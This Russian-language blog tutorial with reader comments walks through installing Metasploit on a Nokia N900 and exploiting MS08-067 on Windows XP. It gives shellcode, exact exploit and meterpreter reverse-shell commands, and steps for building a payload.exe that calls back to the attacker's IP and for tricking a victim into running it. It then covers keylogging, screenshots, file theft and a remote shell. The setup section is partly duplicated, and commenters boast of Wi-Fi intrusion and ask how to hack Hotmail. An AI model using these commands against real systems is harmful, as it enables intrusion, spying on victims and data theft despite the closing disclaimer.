Metasploit for N900 или взлом XP


maemo-icon-win

Доброго времени суток, с вами снова Libert. И в этот раз речь снова пойдёт о взломе аудите.

На этот раз мы будем пользоваться замечательной и крайне простой программой Metasploit, а взламывать мы будем Windows XP SP3 VL версии(хреновые сборки вроде Zver CD брать не стал, в них дырка на дырке , решил использовать оригинальную XP 3-го сервис пака)

Итак, чтобы вы не действовали тупо по инструкции, не зная чего вообще делаете, для начала нужно понять как работает любой эксплоит и что это вообще такое.

1. Теория

Эксплоит (exploit) программа, код, скрипт, последовательность команд, использующие уязвимость в программном обеспечении атакуемого компьютера.

То есть эксплоит (далее буду использовать разговорный вариант- сплоит, это одно и тоже)находит на удалённом компьютере в программе-жертве «дыру» и с помощью этой дыры получает доступ к чему-либо.

В нашем случае сплоит состоит из 2-х программ, первая сам сплоит, он посылается по нужному адресу и помогает второй программе(шелл-коду) попасть на компьютер.

Как-же сплоит даёт доступ другой программе к чужому компу? Вариантов много, ошибки переполнения буфера,SQL инъекции, ошибки обработки, межсайтовый скриптинг и т.п. Расскажу про самый распространенный сплоит – переполнение буфера (buffer overflow)

Буффер -определённое место(хранилище)данных приложения. Используется когда скорость получения и обработки данных не совпадают или когда скорость переменна (буффер печати)

У программы есть определённая длина буфера, скажем 1000 байт, если послать запрос 1050 символов произойдёт переполнение буфера и программа вылетит с критической ошибкой, а лишние 50 символов пропишутся в стек(область промежуточных данных)и перепишут так называемый код возврата. Ну а представим что код возврата перепишется ссылкой на наш шелл-код, догадываетесь к чему я клоню?

Наш шелл-код попадает таким образом на чужой комп и даёт доступ к чужой системе. Есть методы борьбы с этим взломом – стековые куки. Но и с такой защитой можно взломать систему. Не буду углубляться, поскольку это всё сложно и для усвоения нужно иметь некоторые азы программирования. А статья рассчитана на начинающего в этом деле. Мы же будем пользоваться готовым, тем что есть в metasploit-е.
Чуточку выше я упомянул некоторое словосочетание- шелл-код. Так вот это ключевая и есть программа нашего взлома, что такое шелл код?

Начну с того что шелл-код разговорное название, в действительности это байт-код т.к. он состоит из последовательных байтов. Пример:

char shellcode[] =

“\x33\xc9\x83\xe9\xeb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x8a”

“\xd4\xf2\xe7\x83\xeb\xfc\xe2\xf4\xbb\x0f\xa1\xa4\xd9\xbe\xf0\x8d”

“\xec\x8c\x6b\x6e\x6b\x19\x72\x71\xc9\x86\x94\x8f\x9b\x88\x94\xb4″

“\x03\x35\x98\x81\xd2\x84\xa3\xb1\x03\x35\x3f\x67\x3a\xb2\x23\x04″

“\x47\x54\xa0\xb5\xdc\x97\x7b\x06\x3a\xb2\x3f\x67\x19\xbe\xf0\xbe”

“\x3a\xeb\x3f\x67\xc3\xad\x0b\x57\x81\x86\x9a\xc8\xa5\xa7\x9a\x8f”

“\xa5\xb6\x9b\x89\x03\x37\xa0\xb4\x03\x35\x3f\x67″;

Вот эти x33, x9b и т.д. байты, которые являются машинными командами, самая сложная ветвь программирования, поскольку это машинные команды(команды для «железа») они привязаны строго к определённой операционке и строго определённому типу архитектуры процессора. Приведённый код открывает на удалённой Linux машине порт 4444 и привязывает к нему шелл.

Шелл-код назвали так потому, что зачастую такой код даёт доступ к шеллу на удалённом компе. По другому(как в случае с metasploit данный код называется payload то есть полезная или боевая нагрузка)

Подытожим: Находим комп жертву, посылаем сплоит, сплоит даёт сбой в программе-жертве и в образованную сплоитом дыру попадает шелл-код который последствием простых машинных команд даёт полный доступ к системе.

Теперь преступим к установке metasploit-a!

2.Установка

Metasploit изначально был написан на языке Perl, но с версии 3 полностью переписан на язык Ruby

Получается что для запуска нам нужен ruby и пакеты его сопровождающие + замечательная программа nmap (сокращённо от Network Mapper) для получения информации о компе, адресе, портов и т.п.

Выполняем:

root

apt-get install ruby1.8 irb1.8 rdoc1.8 libopenssl-ruby1.8 subversion nmap

далее качаем rubyGems с сайта http://rubygems.org/pages/download

Распаковываем и устанавливаем

tar zxvf rubygems-1.3.7

cd rubygems-1.3.7

ruby1.8 setup.rb

После этого нам нужно установить сам metasploit

Качаем его по адресу http://www.metasploit.com/releases/framework-3.4.1.tar.bz2

В архиве будет папка msf3, её копируем по адресу /home/user

Желательно распаковать на компе, т.к. в папке 44 000 файлов, мой ноут с процем Core I7 работал 50 минут, не берусь предположить сколько времени займет распаковка на телефоне. Потом надо загрузить в распакованном варианте в корневую папку (N900 или по другому /home/user/MyDocs)

А далее перемещаем

mv /home/user/MyDocs /home/user

Крайне советую установить разгон системы, т.к. прогрузка проги оооочень долгая, без разгона система будет очень сильно тормозить. Разогнать можно так:

root

apt-get install kernel-power-settings

reboot

после перезагрузки:

kernel-config limits 250 1150

(чтобы вернуть обратно) kernel-config limits 250 1150

(подробнее по разгону http://maemos.ru/2010/05/30/kernel-power http://maemos.ru/2010/06/02/battery-eye-kernel-power http://maemos.ru/2010/06/03/cpufrequi )

Всё! На этом установка окончена, переходим к практике.

3. Взлом

Итак, начнём взламывать, наша целевая система – мой ноут с предустановленной голой операционкой из серии выпуска 2008 года без всяких патчей, дополнений и прочего. Соединение по локалке через роутер. Можно взлом вести и через глобальную сеть, тут ограничений нет, только для этого телефон должен быть подключён к другому роутеру, в противном случае metasploit будет пытаться взломать сам себя, т.к. у компа и телефона будут одинаковые адреса.

Чтобы узнать есть ли уязвимость можно использовать программу nessus, на мой взгляд шикарнейшая прога, облегчает поиск уязвимости в разы, поддерживается всеми операционками вплоть до макинтоша, существует и под дебиан, есть шанс что умельцы допилят её до нашего аппарата, кому интересно могут спросить в личку, расскажу как настроить, сейчас речь не об этом. Программа нашла самую распространённую, критическую ошибку и огромнейший провал дяди Билла(т.к. сплоит работал оооочень долго,в самых новых обновлениях к сожалению прикрыли) и называется он ms08_067

К сведению: критическая уязвимость в debian линуксе- фикс уязвимости максимум за 2 дня, критическая уязвимость в windows фикс от 2-х недель до 2,3 месяцев и более, что безопаснее судите сами.

Взлом ведётся через дыру в Netapi

Далее воспользуемся программой nmap, посмотрим открыт ли порт 445 для взлома.

Root

Nmap –A –O –vv 192.168.0.102

В пункте wlan0 и подпункте inet addr мы видим наш локальный адрес 192.168.0.100 (не вводите 127.0.0.1, нужен внешний локальный адрес, внутренний не подойдёт)

Теперь запускаем metasploit:

root

ruby1.8 /home/user/msf/msfconsole –L

ждём, если установили разгон полторы минуты, если без разгона раза в 2 дольше. Ничего не открываем, никуда не переходим, иначе всё подвиснет. Процесс ruby1.8 грузит процессор на 83-99 процентов(смотрел в Conky)

Далее выбираем сплоит ms08_067

Use windows/smb/ms08_067_netapi

Далее нужно определиться какой шелл-код мы будем пользовать, я предлагаю пользоваться 3-мя на мой взгляд лучшими шеллами:

  1. Windows/shell_reverse_tcp простой шелл даёт доступ к cmd.exe или по другому к консоли винды. Не очень интересно
  2. Windows/vncinject/reverse_tcp даёт доступ к графическому удалённому администрированию, у меня не заработал, подробнее о VNC http://maemos.ru/2010/06/07/konkurs-obzorov-vnc-viewer-vnc-server/ вообще по мне этот метод-чистой воды показуха, к примеру шефа на работе припугнуть чтобы наконец операционки с железом закупил поновее. Ну максимум можно отключить управление мышью и клавиатурой и следить что делает ваша жертва, пользы мало.
  3. Windows/meterproper/reverse_tcp лучший куча полезных возможностей, анонимность, будем пользоваться им.

set PAYLOAD windows/meterproper/reverse_tcp

Далее адрес жерты

set RHOST 192.168.0.102

порт жертвы

set RPORT 445

локальный адрес

set LHOST 192.168.0.100

локальный порт

set LPORT 444

Вот и наша заветная информация 445 порт открыт, Windows XP так же мы знаем имя компьютера и рабочую группу. Теперь узнаем свой адрес, из под рута пишем ifconfig

В пункте wlan0 и подпункте inet addr мы видим наш локальный адрес 192.168.0.100 (не вводите 127.0.0.1, нужен внешний локальный адрес, внутренний не подойдёт)

Теперь запускаем metasploit:

root

ruby1.8 /home/user/msf/msfconsole –L

ждём, если установили разгон полторы минуты, если без разгона раза в 2 дольше. Ничего не открываем, никуда не переходим, иначе всё подвиснет. Процесс ruby1.8 грузит процессор на 83-99 процентов(смотрел в Conky)

Далее выбираем сплоит ms08_067

Use windows/smb/ms08_067_netapi

Далее нужно определиться какой шелл-код мы будем пользовать, я предлагаю пользоваться 3-мя на мой взгляд лучшими шеллами:

  1. Windows/shell_reverse_tcp простой шелл даёт доступ к cmd.exe или по другому к консоли винды. Не очень интересно
  2. Windows/vncinject/reverse_tcp даёт доступ к графическому удалённому администрированию, у меня не заработал, подробнее о VNC http://maemos.ru/2010/06/07/konkurs-obzorov-vnc-viewer-vnc-server/ вообще по мне этот метод-чистой воды показуха, к примеру шефа на работе припугнуть чтобы наконец операционки с железом закупил поновее. Ну максимум можно отключить управление мышью и клавиатурой и следить что делает ваша жертва, пользы мало.
  3. Windows/meterproper/reverse_tcp лучший куча полезных возможностей, анонимность, будем пользоваться им.

set PAYLOAD windows/meterproper/reverse_tcp

Далее адрес жерты
set RHOST 192.168.0.102
порт жертвы
set RPORT 445
локальный адрес
set LHOST 192.168.0.100
локальный порт
set LPORT 444

Теперь нужно выбрать какой виндовс мы будем взламывать, честно говоря этот пункт не обязателен т.к. зачастую metasploit определяет сам какая винда, но у меня почему-то автоматически не определился язык и пришлов вбить вручную, делаем это сначала командой search targets и смотрим id винды:

Далее набираем команду show options и проверяем всё-ли правильно:

Как мы видим всё прописалось правильно и самое ответственное пишем команду exploit

Если вы увидели тоже самое, то у вас всё вышло. Строчка session x opened обязательно должна присутствовать, если что-то не вышло- посмотрите под администраторской ли вы учётной записью и на всякий случай отключите антивирус(хотя он не имеет отношения и не спасает в 90% случаев)и брандмаузер(в новых версиях винды брандмаузер ограничивает доступ через 445 порт)если не пошло- качайте программу Nessus и тестируйте комп на безопасность.

Если всё пошло, вы попали на чужой комп!

P.S. Если вам не известен чужой айпишник – не отчаивайтесь, вбивайте команду:

ruby1.8 msfpayload windows/meterpreter/reverse_tcp LHOST=79.167.0.39 LPORT=4444 X > /home/user/MyDocs/payload.exe

где:

msfpayload windows/meterpreter/reverse_tcp – вместо этого можете вставлять любой шелл-код

LHOST=79.167.0.39 – тут ваш ВНЕШНИЙ IP адрес, узнать можно на yoip.ru

LPORT=4444 – не меняем

home/user/MyDocs/payload.exe – путь и название файла

Далее запускаем эксплоит с шелл кодом который писали в файле вводим ЛОКАЛЬНЫЙ адрес LHOST, локальный порт 4444 и всё, кидаем файл жертве, заставляем открыть и при открытии его кинет на наш внешний адрес, там его подхватит metasploit, сразу-же вычислит адрес жертвы и пошлёт сплоит и мы в системе;)

Ну а теперь давайте смотреть на некоторые возможности.

4.Внутри

Итак, возможности внутри системы очень обширны, можно делать абсолютно всё! Для просмотра всех возможностей наберите команду help

Мы же сделаем вот что:

  1. Посмотрим инфу о системе
  2. Посмотрим запущенные процессы
  3. Сделаем скриншот операционки
  4. Перехватим всё, что набирается на клавиатуре
  5. Украдём файл
  6. Убиваем процесс
  7. Запустим командную строку cmd.exe
  8. Перезагрузим комп и отключимся

1. Пишем команду sysinfo

2. Для просмотра процессов набираем команду ps и видим все процессы жертвы

Далее мы переносим процесс explorer в другую среду командой migrate и всё готово для следующего шага.

3. Делаем скриншот
Вбиваем команды:
Use espia
Screenshot

После нужно переместить файл в домашний каталог вводим mv <имя_файла.jpeg> /home/user/MyDocs :

И даже если вылетела ошибка- всё равно файл появился в домашнем каталоге:

4. Перехватываем клавиатурные символы

Перед всем этим хочу сказать – русские буквы НЕ перехватываются, то есть вместо «привет» вы будете получать «ghbdtn» ну если очень нужно перевести – копируете в текстовик и переводите на компе через спец. проги.
Вводим команду keyscan_start
А через некоторое время keyscan_dump и смотрим чего наловилось:

Вернёмся к подпункту 3 и сделаем скриншот:

А вот и наш текст ;)

5. Крадём файл
Для этого я заранее в коре диска с операционкой создал тестовый файл, давайте его стащим:
Для начала вводим несколько раз команду cd .. чтобы попасть в корень папки, а потом команду ls чтобы посмотреть что в ней лежит:

На нашем компе лежит секретный файл с привлекательным названием testfile.txt вводим команду download testfile.txt /home/user/MyDocs и проверяем что получилось:

Тестовый файл украден

6.Убиваем процесс
Процесс убивается командой kill, отображаем процессы командой ps и убиваем нужный

7. Заходим в консоль винды
Для того чтобы попасть в консоль необходимо набрать:
execute –f cmd.exe –c
interact <номер отображаемый в ответе в строке, в моём случае 4>

Всё мы в консольке, вот сайт с описанием всех команд и параметров для консоли винды: www.wa7.ru/cmd

Внимание тут все русские символы будут отображаться либо вопросиками в ромбах, либо китайскими иероглифами, так что придётся смириться.

8. Перезагружаем и отключаемся
Команда reboot а потом exit

5. Заключение

То, что вы увидели в этой статье – песчинка в океане относительно того, чего умеет эта программа, я показал самый простой способ взломать винду и всего одну уязвимость из 500 возможных и 3 шелл-кода из 200, есть способы в разы сложнее и эффективнее, вроде двойной атаки, первая на повышение приоритета, вторая на проникновение, обходы защиты, обходы сетевых экранов и т.п. Если хотите заняться вплотную, ставьте backtrack 4 и ищите инструкции в интернете. Я не даю гарантию, что у вас получится, я попросту показываю на что способен наш уникальный девайс. Помните это всё лишь в ознакомительных целях, взлом компьютера – ст. 272 УК РФ, так что всё на свой страх и риск, а пока ещё ограниченные возможности нашего телефона относительно других линуксов не дают возможности хорошо зашифроваться, поэтому лучше освоить backtrack, а телефон пользовать «если под рукой ничего нет» или «понтануться перед подругой». Также могу посоветовать почаще заглядывать на сайт самой программы www.metasploit.com и на лучший гиковый сайт в раздел информационная безопасность: http://habrahabr.ru/blogs/infosecurity/

Если кому интересно вот моя статья по взлому Wi-Fi сетей: http://maemos.ru/2010/06/08/aircrack-ng/

И пара советов чтобы вы не стали жертвой для такой статьи:

  1. Включённое обновление системы
  2. Антивирус+сетевой экран(фаервол)
  3. Не работать под учётной записью админа(в виндовс 7 неактуально т.к. в любом случае работаете не из под админа)
  4. Ну и конечно-же не шастать по левым сайтам не переходить на спам ссылки, не открывать «открытки» «программы для взлома в игре на деньги» в exe формате и тому подобные догмы.

Пользуйтесь, все вопросы на форум в специальный топик Metasploit for N900 или взлом XP

Для вас писал Libert.



21 комментарий

  1. Evgenij пишет:

    Очуметь! Вот это труд!

  2. Libert пишет:

    Жень, выложи если не сложно сегодняшнюю версию статьи, которую я на почту кинул там я добавил инфу по веб инерфейсу + там где речь идёт о запуске nmap немного понапутанно=)

  3. Libert пишет:

    set LPORT 444
    должно быть 4444=)
    Для этого я заранее в коре диска
    корНе

  4. IDis пишет:

    спасибо добрый человек, давно уже хотел с этим делом разобраться… Да вот селенок не хватало.

  5. Libert пишет:

    а я хотел эту статью написать с месяц как, только вчера свободный день оказался))))

  6. deeroll пишет:

    Оо.. как много букв) теперь для ботов – можно?) винхп сп3 на кирпичике? как работает? как мышка себя ведет? звониьт и заряжаться,конечно низя?)

  7. Libert пишет:

    deeroll
    дааа, тяжёлый случай…

  8. JigSaw пишет:

    :mrgreen: :mrgreen: :mrgreen: :mrgreen: ахахахахахахахахахаха deeroll жжет))
    Libert,мне говорит что эксплоит прошел, но сессия не установлена=(
    можно как то вывести список эксплойтов?
    есть ли какие нибуть сканеры безопасности на н900?

    Кстати для если жертва находиться с тобой в одной локалке, можно воспользоваться wireshark что бы узнать ip и некоторые сведения о системе

    А за статью спасибо человеческое, мне 16 лет, хочу стать хакером, а твои статьи мне очень помогают :lol:

  9. IDis пишет:

    При выполнении команды:
    ruby1.8 /home/user/msf/msfconsole –L

    вылетает куча ошибок типа:
    Missing Metasploit3 constant

    metasploit качал и распаковывал на Маке. Антивирусы ничего не прибивали.

    В чем может быть засада?
    —————————-
    наверно из за ошибок при установке metasploit не выполняется команда:
    set PAYLOAD windows/meterproper/reverse_tcp
    (ошибка: The value specified for PAYLOAD is not valid)

  10. JigSaw пишет:

    тут ошибок много
    я исправил
    ruby1.8 /home/user/msf3/msfconsole –L
    и
    set PAYLOAD windows/meterpreter/reverse_tcp

  11. vertyogo пишет:

    :) :) могу еще кучу наставить таких :) лет десять так не развлекался « Libert Гуд »

  12. dakn пишет:

    Libert, ай-ай! Чему ж вы 16-ти летних детей учите? 8) А кроме шуток, статья ИМХО хорошая 8) Я бы к сказанному еще добавил, что метасплоит хорош не тем что он может взламывать компы 8) Он хорош для разработки експлоитов 8)

    JigSaw, жжоте вы 8)

    “есть ли какие нибуть сканеры безопасности на н900?”
    Тут кто-то про nmap рассказывал…

    “Кстати для если жертва находиться с тобой в одной локалке, можно воспользоваться wireshark что бы узнать ip и некоторые сведения о системе”

    Ну конечно же! Кстати можно гвозди будильником забивать ^_^

    “мне 16 лет, хочу стать хакером, а твои статьи мне очень помогают”

    Тогда бросте metasploit и aircrack-ng лет на пять. И начинайте учить математику, assembler, С/С++ итд. Не забудте еще разобраться в принципах работы ОС, железа, а также в вычислительных сетях.

  13. JigSaw пишет:

    nmap, это понятно, но это сканер портов.Желательно конечно nessus.
    wireshark хорош в открытых сетях, если просмотреть пакет, то там и айпи адрес и некоторые сведения о системе

  14. Libert пишет:

    dakn
    насчёт написания сплоитов полностью согласен, очень много полезных утилит, но для этого нужно понимать как и что работает, а вобще я и сам си и асемблер еле-еле знаю, сам в свободное время изучаю. А насчёт сканера ИМХО nessus очень хорош

  15. Evgenij пишет:

    Надеюсь, deeroll еще не распустил слух, что Libert запустил XPюшу на N900? :mrgreen:

  16. vertyogo пишет:

    А чего пусть распускает 8)

  17. Libert пишет:

    Evgenij ахахаха, жжёшь :mrgreen:

  18. azik2315 пишет:

    А у меня распаковка файлов длился всего 2 минуты и плюс всё работает! 8) 8) 8)
    Но всё-равно спасибо))) :wink: :wink: :wink:

  19. Libert пишет:

    хм, возможно у меня дольше из-за того что я из под окон распаковывал=)

  20. ghostkiller93 пишет:

    libert спасибо тебе огромное,помог вай фай хакнуть….в эмиратах арабы в шоке)))) теперь с компом)))) если сможешь плиииз сделай статью как можно хакнуть hotmail… через комп или же через наш любимый н900))

  21. Libert пишет:

    про комп писать смысла нет в инете инфы полным полно, с телефона пока не знаю как, вобще метасплоитом можно в лёгкую, получив доступ к кому-получаешь всё, в том числе и кукисы и хеши и можно на облачках их расшифровать или через радужные таблицы, а чтобы с телефона всё сделать-эт задаача, если только брутфорс найи хороший ну или чего-нибудь более порнографичное поискать